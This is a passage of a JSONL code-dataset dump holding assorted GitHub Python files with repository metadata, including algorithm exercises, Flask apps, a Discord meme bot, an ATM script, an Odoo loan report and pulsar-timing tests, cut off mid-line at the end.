+{"seq_id":"38460131899","text":"class CalculationConstants(object):\n\t\"\"\"Holds physical constants, in SI units\"\"\"\n\n\tdef __init__(\n\t\tself,\n\t\tepsilon_0=8.854e-12,\n\t\th_bar=1.0546e-34,\n\t\tc_light=3e8,\n\t\telectron_mass=9.10938356e-31,\n\t):\n\t\t\"\"\"Initialises constants in SI units, with sensible defaults\n\n\t\t:param epsilon_0:\n\t\t:param h_bar:\n\t\t:param c_light:\n\t\t:param electron_mass:\n\t\t\"\"\"\n\n\t\tself.epsilon_0 = epsilon_0\n\t\tself.h_bar = h_bar\n\t\tself.c_light = c_light\n\t\tself.electron_mass = electron_mass\n\n\nclass CalculationParams(object):\n\t\"\"\"Holds the parameters describing a calculation, in SI units.\"\"\"\n\n\tdef __init__(\n\t\tself,\n\t\tomega: float = None,\n\t\tomega_p: float = None,\n\t\ttau: float = None,\n\t\tv_f: float = None,\n\t\tt_rel: float = None,\n\t\tt_c: float = None,\n\t\tdipole_moment: float = None,\n\t):\n\t\t\"\"\"Creates parameter object, SI units\n\n\t\t:param omega:\n\t\t:param omega_p:\n\t\t:param tau:\n\t\t:param v_f:\n\t\t:param t_rel:\n\t\t:param t_c:\n\t\t:param dipole_moment:\n\t\t\"\"\"\n\n\t\tself.omega = omega\n\t\tself.omega_p = omega_p\n\t\tself.tau = tau\n\t\tself.v_f = v_f\n\t\tself.t_rel = t_rel\n\t\tself.t_c = t_c\n\t\tself.dipole_moment = dipole_moment\n","repo_name":"dmallubhotla/pynam","sub_path":"pynam/baskets.py","file_name":"baskets.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"2796429317","text":"class Solution:\n    def multiply(self, num1: str, num2: str) -> str:\n        o, t = len(num1), len(num2)\n        ans_n = [0]*(o+t)\n\n        for i in range(o):\n            for j in range(t):\n                ans_n[i+j+1] += (ord(num1[i])-ord('0')) * \\\n                    (ord(num2[j])-ord('0'))\n\n        for i in range(o+t-1, 0, -1):\n            ans_n[i-1] += ans_n[i]//10\n            ans_n[i] %= 10\n\n        sta = 0\n        while not ans_n[sta]:\n            sta += 1\n        ans = ''\n        for i in range(sta, o+t):\n            ans += chr(ord('0')+ans_n[i])\n\n        return ans\n","repo_name":"helunxing/algs","sub_path":"leetcode/43.py","file_name":"43.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"24913272977","text":"from flask import *\nfrom inspect import signature\napp = Flask(__name__)\n@app.route('/',methods = ['GET'])\ndef index():\n    return \"Hello World!\"\n\nsensor_req = None\nsensor_res = None\ntemp = []\n\ndef fetch(id):\n    global sensor_res\n    global sensor_req\n    sensor_req = id\n    while(sensor_res == None):\n        pass\n    temp = sensor_res\n    sensor_res = None\n    sensor_req = None\n    return {\"id\":id,\"status\":temp[\"status\"],\"val\":temp[\"sensor\"]}\n\n\nclass Functions:\n    def get_sensor_data(self,id:str)-> dict:\n        return fetch(id)\n\n\n\nmethod_list = [func for func in dir(Functions) if callable(getattr(Functions, func))and not func.startswith(\"__\")] \nfor method in method_list:\n    temp.append(\"{}\".format(method) + str(signature(getattr(Functions,method))))\n\n@app.route('/list',methods=['GET'])\ndef list():\n    return jsonify(temp)\n\ndef stub(params):\n    res = \"ok\"\n    try:        \n        val = getattr(Functions,params[0])(*params)\n    except TypeError:\n        val = None\n        res = \"Uneven Arguments\"\n    except AttributeError:\n        val = None\n        res = \"Function Not Present\"\n    except ZeroDivisionError:\n        val = None\n        res = \"Zero Division Error\"\n    return {\"status\":res,\"value\":val}\n\n\n@app.route('/api',methods = ['POST'])\ndef api():\n    content = request.json\n    return stub(content)\n\n@app.route('/req',methods = [\"GET\"])\ndef req_method():\n    global sensor_req\n    if(sensor_req!=None):\n        temp = sensor_req\n        sensor_req = None\n        return {\"id\":temp}\n    return Response(status=404)\n\n\n\n@app.route('/res',methods = ['POST'])\ndef res_method():\n    global sensor_req\n    global sensor_res\n    sensor_req = None\n    content = request.json\n    sensor_res = content\n    return Response(status=200)\n\nif(__name__ == \"__main__\"):\n    app.run(port=\"5050\",debug=False)\n    ","repo_name":"ramirocruz/IIITH_Assignments","sub_path":"IIITH/Sem2/IAS/Assignment/A3/2020201098_A3/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"21425626106","text":"from flask import *\nfrom mastermind import *\napp = Flask(__name__)\n## parte de local server web con flask\napp.secret_key = b'MI_CLAVE_SECRETA'\n\n@app.route('/', methods=['GET','POST'])\ndef index():\n \n      # Si existen datos en la sesión continúa el juego, si no crea nueva combinación\n   if not 'secreto' in session:\n      session['secreto'] = nuevo_secreto(colores)\n\n   if request.method == 'POST':\n      intento = request.form.getlist('intento[]')\n      session['intento'] = intento\n\n      # Recupera el historico previo de la sesion\n      if not 'historico' in session:\n         historico = []\n      else:\n         historico = session['historico']\n\n      # Añade el resultado actual al historico de turnos\n      historico.append(calcula_historico(intento,session['secreto']))\n      # Almacena el estado del historico en la sesion\n      session['historico'] = historico\n      \n   return render_template('home.html',colores=colores)\n\n@app.post('/reset')\ndef reiniciar():\n   session.pop('secreto', None)\n   session.pop('intento', None)\n   session.pop('historico', None)\n   return redirect(url_for('index'))\n   \n\n\nif __name__ == '__main__':\n   app.run(debug=True,port=5000)\n   \n","repo_name":"DeboraMed/mastermind-python-y-flask-DeboraMed","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"4314563176","text":"import heapq\nimport sys\n\ndef neighbors(height, width, pos):\n\tfor dy, dx in [(-1, 0), (0, 1), (1, 0), (0, -1)]:\n\t\ty = pos[0] + dy\n\t\tx = pos[1] + dx\n\t\tif 0 <= y < height and 0 <= x < width:\n\t\t\tyield (y, x)\n\ndef cost1(grid, pos):\n\treturn grid[pos[0]][pos[1]]\n\ndef cost2(grid, pos):\n\ty, yr = divmod(pos[0], len(grid))\n\tx, xr = divmod(pos[1], len(grid[0]))\n\tval = grid[yr][xr] + y + x\n\treturn ((val-1)%9) + 1\n\ndef scan(grid, height, width, cost_func):\n\tq = [(0, (0, 0))]\n\tseen = set()\n\ttarget = (height - 1, width - 1)\n\n\twhile q:\n\t\tdist, pos = heapq.heappop(q)\n\n\t\tif pos == target:\n\t\t\treturn dist\n\t\telif pos in seen:\n\t\t\tcontinue\n\n\t\tseen.add(pos)\n\n\t\tfor n in neighbors(height, width, pos):\n\t\t\tif n not in seen:\n\t\t\t\tcost = dist + cost_func(grid, n)\n\t\t\t\theapq.heappush(q, (cost, n))\n\nif __name__ == \"__main__\":\n\tgrid = []\n\tfor line in sys.stdin:\n\t\tgrid.append([int(j) for j in line.rstrip()])\n\n\tprint(scan(grid, len(grid), len(grid[0]), cost1))\n\tprint(scan(grid, len(grid) * 5, len(grid[0]) * 5, cost2))","repo_name":"seizethedave/advent","sub_path":"2021/part15/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"22582358384","text":"from typing import List\nfrom functools import reduce\nfrom operator import add\n\n\n# Definition for singly-linked list.\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n\n\nclass Solution:\n    # 전가산기 구현\n    def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n        carry = 0\n        result = curr = ListNode()\n        while l1 or l2 or carry:\n            sum = 0\n            if l1:\n                sum += l1.val\n                l1 = l1.next\n            if l2:\n                sum += l2.val\n                l2 = l2.next\n\n            carry, val = divmod(sum + carry, 10)\n            curr.next = ListNode(val)\n            curr = curr.next\n\n        return result.next\n\n    # 자료형 변환\n    def reverseList(self, head: ListNode) -> ListNode:\n        node, prev = head, None\n\n        while node:\n            next, node.next = node.next, prev\n            prev, node = node, next\n\n        return prev\n\n    def toList(self, node: ListNode) -> List:\n        list: List = []\n        while node:\n            list.append(node.val)\n            node = node.next\n        return list\n\n    def toReversedLinkedList(self, result: str) -> ListNode:\n        prev: ListNode = None\n        for r in result:\n            node = ListNode(r)\n            node.next = prev\n            prev = node\n        return node\n\n    def addTwoNumbers2(self, l1: ListNode, l2: ListNode) -> ListNode:\n        a = self.toList(self.reverseList(l1))\n        b = self.toList(self.reverseList(l2))\n        # resultStr = int(''.join(map(str, a))) + int(''.join(map(str, b)))\n        resultStr = reduce(lambda x, y: 10 * x + y, a, 0) + reduce(lambda x, y: 10 * x + y, b, 0)\n        return self.toReversedLinkedList(str(resultStr))","repo_name":"ohdnf/algorithms","sub_path":"leetcode/2_add_two_numbers.py","file_name":"2_add_two_numbers.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"19965063711","text":"from collections import deque\nimport pprint as pp\nfrom copy import deepcopy\n\nnode, edge, pos = map(int,input().split())\n\ngraph = [0] + [[] for _ in range(node)]\nvisited = deepcopy(graph) # 그래프와 영향을 받지 않는 새로운 그래프.\n\nfor _ in range(edge):\n    start, end = map(int, input().split())\n    graph[start].append(end)\n    graph[end].append(start)\n\n# --- dfs (LIFO)\nstack = [pos]\nvisited = [pos]\n\n# method 1)\n# while stack:\n#     cur = stack.pop()\n#     if graph[cur]: #갈 수 있는 지점이 있으면\n#         for i in graph[cur]:\n#             if i not in visited: \n#                 visited.append(i)\n#                 stack.append(i)\n#                 break\n\n# method 2)\n# dfs_recursive\ndef dfs(v):\n    if graph[v]:\n        for i in graph[v]:\n            if i not in visited :\n                visited.append(i)\n                dfs(i)\n                break\n                \n            \n# --- bfs (FIFO)\nqueue = deque([pos])\npath = [pos]\n\nwhile queue:\n    cur = queue.popleft()\n    if graph[cur]: # 갈 수 있는 노드가 있다면\n        for i in graph[cur]:\n            if i not in path:\n                queue.append(i)\n                path.append(i)\n\ndfs(pos)\n\nprint(visited)\nprint(path)","repo_name":"JHyuk2/Hyuk2Coding","sub_path":"Baekjoon/DP/boj_1260(dfs,bfs).py","file_name":"boj_1260(dfs,bfs).py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"36384239979","text":"from five import grok\nfrom zope.lifecycleevent.interfaces import IObjectAddedEvent, IObjectCreatedEvent\nfrom Products.PluggableAuthService.interfaces.events import IPrincipalCreatedEvent, IUserLoggedInEvent\nfrom plone import api\nimport logging\nlogger = logging.getLogger('twgov.namecard.eventshandle')\n\nfrom twgov.namecard.namecard import INameCard\n\n\n\n@grok.subscribe(IUserLoggedInEvent)\ndef createdUser(event):\n    id = event.object.getId()\n    roles = api.user.get_roles(username=id)\n    if ('NameCard Creator' in roles) or ('NameCard Owner' in roles):\n        return\n    api.user.grant_roles(username=id,\n                         roles=['NameCard Creator']\n    )\n    return\n\n\n\n@grok.subscribe(INameCard, IObjectAddedEvent)\ndef addedNameCard(object, event):\n    newId = object.owner_info()['id'].encode('utf-8')\n    api.content.rename(object, new_id=newId)\n    api.user.grant_roles(username=event.object.getId(),\n                         roles=['NameCard Owner']\n    )\n    api.user.revoke_roles(username=event.object.getId(),\n                         roles=['NameCard Creator']\n    )\n    return\n","repo_name":"mingtak/twgov.namecard","sub_path":"twgov/namecard/eventshandle.py","file_name":"eventshandle.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"24461721596","text":"import asyncio\nimport datetime\nimport random\nimport typing\n\nimport aiohttp\nimport alluka\nimport tanchi\nimport tanjun\n\nfrom culturebot import config, sql\nfrom culturebot.utility import dependencies, fuzz, pretty\nfrom ext import oauth\n\nfrom .drive import Drive, File, Folder\n\ncomponent = tanjun.Component(name=\"google\")\n\n\n@component.with_client_callback(tanjun.ClientCallbackNames.STARTED)\nasync def on_started(\n    client: alluka.Injected[tanjun.Client],\n    config: alluka.Injected[config.Config],\n    connection: alluka.Injected[sql.Connection],\n    google_service: alluka.Injected[oauth.GoogleOAuth],\n    session: alluka.Injected[aiohttp.ClientSession],\n):\n    oauth_model = await connection.select(sql.models.OAuth, service=\"google\", user_id=config.memebin.user)\n    assert oauth_model is not None, \"No google oauth token found\"\n\n    client.set_type_dependency(Drive, Drive(oauth_model.make_token(google_service), session=session))\n\n\nasync def gather_files_recursively(\n    drive: alluka.Injected[Drive],\n    parent: str,\n) -> typing.List[File]:\n    \"\"\"Gather all files recursively.\"\"\"\n    files: typing.List[File] = []\n\n    async for resource in drive.list_directory(parent, pageSize=1000):\n        if isinstance(resource, File):\n            files.append(resource)\n        elif isinstance(resource, Folder):\n            files += await gather_files_recursively(drive, resource.id)\n\n    return files\n\n\n@dependencies.cached_callback(datetime.timedelta(hours=6))\nasync def gather_memebin_files(\n    drive: alluka.Injected[Drive],\n    config: alluka.Injected[config.Config],\n) -> typing.Sequence[File]:\n    \"\"\"Gather all files as a cached callback.\"\"\"\n    if config.memebin is None:\n        raise ValueError(\"No memebin configuration found\")\n\n    return await gather_files_recursively(drive, config.memebin.file)\n\n\ndef filter_files(\n    files: typing.Sequence[File],\n    max_size: typing.Optional[int] = None,\n    mimetype: typing.Optional[str] = None,\n    filename: typing.Optional[str] = None,\n    limit: typing.Optional[int] = None,\n) -> typing.Sequence[File]:\n    \"\"\"Filter files by some pre-set configuration.\"\"\"\n    if max_size:\n        files = [file for file in files if file.size <= max_size]\n\n    if mimetype and mimetype != \"any\":\n        files = [file for file in files if mimetype in file.mimetype]\n\n    if filename:\n        files = fuzz.extract(filename, {file.filename: file for file in files}, limit=limit)\n\n    elif limit:\n        files = random.sample(files, k=limit)\n\n    return files\n\n\n@tanchi.as_slash_command()\nasync def meme(\n    context: tanjun.context.SlashContext,\n    max_size: int = 0x600000,\n    mimetype: typing.Literal[\"any\", \"video\", \"image\"] = \"any\",\n    filename: typing.Optional[str] = None,\n    *,\n    files: typing.Sequence[File] = alluka.inject(callback=gather_memebin_files),\n):\n    \"\"\"Sends a random meme from the owner's meme folder. Might be very offensive, please don't judge me.\n\n    Args:\n        max_size: Max file size in bytes. (default = 6MiB, max = 8MiB)\n        mimetype: The mimetype to filter by\n        filename: A specific name of the file you want to see\n    \"\"\"\n    files = filter_files(files, max_size=max_size, mimetype=mimetype, filename=filename, limit=1)\n    if not files:\n        raise tanjun.CommandError(\"Could not find requested file\")\n\n    file = files[0]\n\n    await asyncio.create_task(context.respond(f\"Sending `{file.filename}` ({pretty.human_size(file.size)}) ⌛\"))\n\n    attachment = await file.get_attachment()\n\n    await context.edit_initial_response(content=\"\", attachment=attachment)\n\n\n@meme.with_str_autocomplete(\"filename\")\nasync def autocomplete(\n    context: tanjun.context.AutocompleteContext,\n    filename: str,\n    *,\n    files: typing.Sequence[File] = alluka.inject(callback=gather_memebin_files),\n):\n    \"\"\"Autocomplete filename by adding some metadata.\"\"\"\n    # TODO: Use max size and mimetype\n    files = filter_files(files, max_size=0x600000, filename=filename, limit=25)\n\n    choices = {f\"{file.filename} ({pretty.human_size(file.size)})\": file.filename for file in files}\n    await context.set_choices(choices)\n\n\ncomponent.load_from_scope()\nloader = component.make_loader()\n","repo_name":"thesadru/culturebot","sub_path":"culturebot/components/google/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":4162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"683385808","text":"import requests\r\n\r\ndef load_page(url):\r\n    response = requests.get(url)\r\n    if response.status_code == 200:\r\n        return response.text\r\n    else:\r\n        return None\r\n\r\n# Example usage\r\nurl = \"index.html\"\r\npage_content = load_page(url)\r\nif page_content:\r\n    print(page_content)\r\nelse:\r\n    print(\"Failed to load the page.\")\r\n","repo_name":"Geniousside/RIM","sub_path":"loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"1718000322","text":"\r\nhesaplar= {\r\n    \"111\":{\r\n        'ad': 'arda  ',\r\n        'sifre': '111',\r\n        'bakiye': 3000,\r\n        'ekHesap': 2000,\r\n        'hesapNo':\"111\"\r\n        },\r\n\r\n    \"222\" : {\r\n        'ad': 'Onur ',\r\n        'sifre': '222',\r\n        'bakiye': 2500,\r\n        'ekHesap': 1000,\r\n        'hesapNo':\"222\"\r\n        }\r\n}\r\n\r\n\r\ndef giris(hesapNo,sifre):\r\n    for hesap in hesaplar:\r\n        if hesap==hesapNo:\r\n            #print(\"hesap no doğru\")\r\n            if sifre==hesaplar[hesapNo][\"sifre\"]:\r\n                print(\"Sisteme giriş yaptınız \\n Hoşgeldiniz \\n Sayın {}\".format(hesaplar[hesap][\"ad\"]))\r\n                menu(hesap)\r\n                online=True\r\n            else:\r\n                print(\"Sifre hatalı\")\r\n                online=False\r\n            break\r\n        else:\r\n            print(\"Kullanıcı bilgileri yanlış\")\r\n            online=False\r\n            break\r\n    return online\r\n    \r\ndef menu(hesapNo):\r\n        islem=input(\"Lütfen İşlem yapmak için şeçim yapınız \\n Para çekme: 1 \\n Bakiye Sorgulama: 2 \\n Para transferi: 3 \\n İşlem : \")\r\n        if islem==\"2\":\r\n            print(\"Bakiye Sorgulama İşlemi\")\r\n            bakiyeSorgulama(hesapNo)\r\n        elif islem=='1':\r\n            print(\"Para Çekme\")\r\n            paraCekme(hesapNo)\r\n        elif islem=='3':\r\n            havale(hesapNo)\r\n        else:\r\n            print('hatalı işlem yaptınız')\r\n\r\ndef havale(hesap):\r\n    tpara=int(input(\"göndermek istediğiniz parayı giriniz\"))\r\n    if tpara<hesaplar[hesap][\"bakiye\"]:\r\n        thesap=int(input(\"göndermek istediğiniz hesabı giriniz\"))\r\n        for no in hesaplar:\r\n            if thesap==no:\r\n                print(\"para tranferi olabilir\")\r\n            else:\r\n                print(\"girilen hesabı kontrol ediniz\")\r\n                break\r\n    else:\r\n        print(\"bakiyenizde yeterli para yoktur\")\r\n\r\n\r\n            \r\ndef bakiyeSorgulama(hesap):\r\n    print(\"Sayın {} {} numaralı hesabınızdaki bakiye:\".format(hesaplar[hesap]['ad'],hesap))\r\n    print(\"Ana Bakiye: {}\".format(hesaplar[hesap][\"bakiye\"]))\r\n    print(\"Ek Hesap Bakiye: {}\".format(hesaplar[hesap][\"ekHesap\"])),\r\n    islem=input(\"Ana Menü: 1 \\n Çıkış: 2 \\n İşlem: \")\r\n    if islem==\"1\":\r\n        menu(hesap)\r\n        \r\ndef paraCekme(hesap):\r\n     para=int(input(\"Ne kadar para çekmek istersiniz:\"))\r\n     if para>hesaplar[hesap][\"bakiye\"]:\r\n         print(\"Yetersiz bakiye, ek hesap kullanmak istermisiniz: \\n Evet:1 \\n Hayır:2 \")\r\n         secim=input('...')\r\n         if secim=='1':\r\n             if hesaplar[hesap]['bakiye']+hesaplar[hesap]['ekHesap']>=para:\r\n                kalan=hesaplar[hesap]['bakiye']-para\r\n                hesaplar[hesap]['bakiye']=0\r\n                kalan2=hesaplar[hesap]['ekHesap']+kalan\r\n                print(\"bakiyeniz 0, ek hesabınızda {} bu kadar para kaldı\".format(kalan2))\r\n                hesaplar[hesap]['ekHesap']=kalan2\r\n                menu(hesap)\r\n             else:\r\n                 print(\"Ek hesabınız ve bakiyeniz yetersizdir.\")\r\n                 menu(hesap)\r\n         elif secim=='2':\r\n            menu(hesap)\r\n         \r\n     elif para<=hesaplar(hesaplar[hesap]['bakiye']):\r\n         print((hesaplar[hesap]['bakiye'])-para,\"hessabınızda bu kadar para kalmıştır\")\r\n        \r\nonline=False\r\nsayac=0\r\nwhile online==False:\r\n    if sayac<3:\r\n        sayac+=1        \r\n        g_hesap=input(\"Hesap No:\")\r\n        g_sifre=input(\"Şifre:\")\r\n        if sayac==2:\r\n            print(\"2 kez şifrenizi yanlış girdiniz, bir daha yanlış girerseniz hesabınız bloke olacaktır\")\r\n            g_hesap=input(\"Hesap No:\")\r\n            g_sifre=input(\"Şifre:\")\r\n        online=giris(g_hesap,g_sifre)\r\n    else:\r\n        print(\"hesabınız bloke olmuştur\")\r\n        break\r\n                 \r\ngiris(g_hesap,g_sifre)   \r\n","repo_name":"cosette1/simple-atm-ui","sub_path":"Atm programıV1.8.py","file_name":"Atm programıV1.8.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"25162681709","text":"from odoo import models, fields, api\nfrom odoo.exceptions import ValidationError\n\n\nclass ReportForLoan(models.TransientModel):\n    _name = \"report.loan.c\"\n\n    date_from = fields.Date('Date From')\n    date_to = fields.Date('Date to')\n    employee_loan = fields.Many2one('hr.employee')\n\n    # @api.depends('specific_employee', 'specific_date')\n    @api.onchange('specific_date')\n    def computeTorFff(self):\n        for rec in self:\n            if rec.specific_date == True:\n                rec.specific_employee = False\n                rec.employee_loan = False\n\n    @api.onchange('specific_employee')\n    def computeTorF(self):\n        for rec in self:\n            if rec.specific_employee == True:\n                rec.specific_date = False\n                rec.date_from = False\n                rec.date_to = False\n\n    specific_employee = fields.Boolean(string=\"Specific Employee\", default=False, store=True)\n    specific_date = fields.Boolean(string=\"Specific Date\", default=True, store=True)\n\n    @api.depends('date_from', 'date_to')\n    def see_d(self):\n        for rec in self:\n            if rec.date_from > rec.date_to:\n                    raise ValidationError(\" Date To must be bigger than or Equal Date From \")\n\n    @api.model\n    def get_loan_report(self):\n        self.sudo().see_d()\n        data = {\n            'ids': self.ids,\n            'model': self._name,\n            'form': {\n                'date_from': self.date_from,\n                'date_to': self.date_to,\n                'employee_loan': self.employee_loan.id,\n            },\n        }\n        return self.env.ref('dev_hr_loan.loans_report').report_action(self, data=data)\n\n\nclass LoanReportView(models.AbstractModel):\n    _name = \"report.dev_hr_loan.loans_report_view\"\n    _description = \"Loans Report\"\n\n    @api.model\n    def _get_report_values(self, docids, data=None):\n        print(\"values\"*5)\n        docs = []\n        domains = []\n        if data['form']['employee_loan']:\n            # print('employee_loan id==', data['form']['employee_loan'])\n            ourloans_id = self.env['employee.loan'].search([('employee_id', '=', data['form']['employee_loan'])])\n            # print('MM=', ourloans_id)\n            for rec in ourloans_id:\n                docs.append({\n                    'date': rec.date,\n                    'reference': rec.name,\n                    'employee_name': rec.employee_id.name,\n                    'depart_id': rec.department_id.name,\n                    # 'mang_id': rec.manager_id.name,\n                    'j_id': rec.job_id,\n                    'loan_type': rec.loan_type_id.name,\n                    'l_am': round(rec.loan_amount, 2),\n                    'start_d': rec.start_date,\n                    'num_terms': rec.term,\n                    'pa_amount': round(rec.paid_amount, 2),\n                    'rema_amount': round(rec.remaing_amount, 2),\n                    'install_amount': round(rec.installment_amount, 2),\n                    'state_loann': rec.state,\n                })\n            # www = {\n            #     'doc_ids': data['ids'],\n            #     'doc_model': data['model'],\n            #     'date_from': data['form']['date_from'],\n            #     'date_to': data['form']['date_to'],\n            #     'docs': docs,\n            # }\n            # print('www#=', www)\n            return {\n                'doc_ids': data['ids'],\n                'doc_model': data['model'],\n                'date_from': data['form']['date_from'],\n                'date_to': data['form']['date_to'],\n                'docs': docs,\n            }\n        if data['form']['date_from'] or data['form']['date_to']:\n            if data['form']['date_from'] and data['form']['date_to']:\n                # print('d==', data['form']['date_from'], data['form']['date_to'])\n                domains.append(('date', '>=', data['form']['date_from']))\n                domains.append(('date', '<=', data['form']['date_to']))\n            if data['form']['date_from'] and not data['form']['date_to']:\n                domains.append(('date', '>=', data['form']['date_from']))\n            if data['form']['date_to'] and not data['form']['date_from']:\n                domains.append(('date', '<=', data['form']['date_to']))\n\n            # domains = 3\n            # print('domain==', domains)\n            ourloans = self.env['employee.loan'].search(domains, order='date asc')\n            # print('MM=', ourloans)\n            for rec in ourloans:\n                docs.append({\n                    'date': rec.date,\n                    'reference': rec.name,\n                    'employee_name': rec.employee_id.name,\n                    'depart_id': rec.department_id.name,\n                    # 'mang_id': rec.manager_id.name,\n                    'j_id': rec.job_id,\n                    'loan_type': rec.loan_type_id.name,\n                    'l_am': round(rec.loan_amount, 2),\n                    'start_d': rec.start_date,\n                    'num_terms': rec.term,\n                    'pa_amount': round(rec.paid_amount, 2),\n                    'rema_amount': round(rec.remaing_amount, 2),\n                    'install_amount': round(rec.installment_amount, 2),\n                    'state_loann': rec.state,\n                })\n            # www={\n            #     'doc_ids': data['ids'],\n            #     'doc_model': data['model'],\n            #     'date_from': data['form']['date_from'],\n            #     'date_to': data['form']['date_to'],\n            #     'docs': docs,\n            # }\n            # print('www#=', www)\n            return {\n                'doc_ids': data['ids'],\n                'doc_model': data['model'],\n                'date_from': data['form']['date_from'],\n                'date_to': data['form']['date_to'],\n                'docs': docs,\n            }\n","repo_name":"Shakilkhan8/SKTechnologies","sub_path":"dev_hr_loan/wizard/loan_report_custom.py","file_name":"loan_report_custom.py","file_ext":"py","file_size_in_byte":5789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"4606446839","text":"#!/usr/bin/env python\n\n\nimport pytest\n\nfrom telegram import Location, ChatLocation, User\n\n\n@pytest.fixture(scope='class')\ndef chat_location(bot):\n    return ChatLocation(TestChatLocation.location, TestChatLocation.address)\n\n\nclass TestChatLocation:\n    location = Location(123, 456)\n    address = 'The Shire'\n\n    def test_de_json(self, bot):\n        json_dict = {\n            'location': self.location.to_dict(),\n            'address': self.address,\n        }\n        chat_location = ChatLocation.de_json(json_dict, bot)\n\n        assert chat_location.location == self.location\n        assert chat_location.address == self.address\n\n    def test_to_dict(self, chat_location):\n        chat_location_dict = chat_location.to_dict()\n\n        assert isinstance(chat_location_dict, dict)\n        assert chat_location_dict['location'] == chat_location.location.to_dict()\n        assert chat_location_dict['address'] == chat_location.address\n\n    def test_equality(self, chat_location):\n        a = chat_location\n        b = ChatLocation(self.location, self.address)\n        c = ChatLocation(self.location, 'Mordor')\n        d = ChatLocation(Location(456, 132), self.address)\n        e = User(456, '', False)\n\n        assert a == b\n        assert hash(a) == hash(b)\n        assert a is not b\n\n        assert a == c\n        assert hash(a) == hash(c)\n\n        assert a != d\n        assert hash(a) != hash(d)\n\n        assert a != e\n        assert hash(a) != hash(e)\n","repo_name":"HackWeiser360/python-telegram-bot","sub_path":"tests/test_chatlocation.py","file_name":"test_chatlocation.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"10420421943","text":"import json\nimport os\nimport pytest\n\nimport astropy.units as u\nimport numpy as np\n\nimport pint.models.model_builder as mb\nfrom pint import toa\nfrom pint.fitter import GLSFitter\nfrom pinttestdata import datadir\n\n\nclass TestGLS:\n    \"\"\"Compare delays from the dd model with tempo and PINT\"\"\"\n\n    @classmethod\n    def setup_class(cls):\n        os.chdir(datadir)\n        cls.par = \"B1855+09_NANOGrav_9yv1.gls.par\"\n        cls.tim = \"B1855+09_NANOGrav_9yv1.tim\"\n        cls.m = mb.get_model(cls.par)\n        cls.t = toa.get_TOAs(cls.tim, ephem=\"DE436\")\n        cls.f = GLSFitter(cls.t, cls.m)\n        # get tempo2 parameter dict\n        with open(\"B1855+09_tempo2_gls_pars.json\", \"r\") as fp:\n            cls.t2d = json.load(fp)\n        # Get tempo whitened resids\n        mjd, cls.twres = (\n            np.genfromtxt(\"B1855+09_NANOGrav_9yv1_whitened.tempo_test\", unpack=True)\n            * u.us\n        )\n\n    def fit(self, full_cov, debug=False):\n        self.f.reset_model()\n        self.f.update_resids()\n        self.f.fit_toas(full_cov=full_cov, debug=debug)\n\n    def test_gls_fitter(self):\n        for full_cov in [True, False]:\n            self.fit(full_cov, True)\n            for par, val in sorted(self.t2d.items()):\n                if par not in [\"F0\"]:\n                    v = (\n                        getattr(self.f.model, par).value\n                        if par not in [\"ELONG\", \"ELAT\"]\n                        else getattr(self.f.model, par).quantity.to(u.rad).value\n                    )\n\n                    e = (\n                        getattr(self.f.model, par).uncertainty.value\n                        if par not in [\"ELONG\", \"ELAT\"]\n                        else getattr(self.f.model, par).uncertainty.to(u.rad).value\n                    )\n                    msg = f\"Parameter {par} does not match T2 for full_cov={full_cov}\"\n                    assert np.abs(v - val[0]) <= val[1], msg\n                    assert np.abs(v - val[0]) <= e, msg\n                    assert np.abs(1 - val[1] / e) < 0.1, msg\n\n    def test_noise_design_matrix_index(self):\n        self.fit(False, True)  # get the debug info\n        # Test red noise basis\n        pl_rd = self.f.model.pl_rn_basis_weight_pair(self.f.toas)[0]\n        p0, p1 = self.f.resids.pl_red_noise_M_index\n        pl_rd_backwards = (\n            self.f.resids.pl_red_noise_M[0] * self.f.resids.norm[p0:p1][np.newaxis, :]\n        )\n        assert np.all(np.isclose(pl_rd, pl_rd_backwards))\n        # Test ecorr basis\n        ec = self.f.model.ecorr_basis_weight_pair(self.f.toas)[0]\n        p0, p1 = self.f.resids.ecorr_noise_M_index\n        ec_backwards = (\n            self.f.resids.ecorr_noise_M[0] * self.f.resids.norm[p0:p1][np.newaxis, :]\n        )\n        assert np.all(np.isclose(ec, ec_backwards))\n\n    def test_whitening(self):\n        self.fit(full_cov=False)\n        wres = self.f.resids.time_resids - self.f.resids.noise_resids[\"pl_red_noise\"]\n        wres_diff = wres - self.twres\n        wres_diff -= wres_diff.mean()\n        assert wres_diff.std() < 10.0 * u.ns\n        assert np.abs(wres_diff).max() < 50.0 * u.ns\n\n    def test_gls_compare(self):\n        self.fit(full_cov=False)\n        chi21 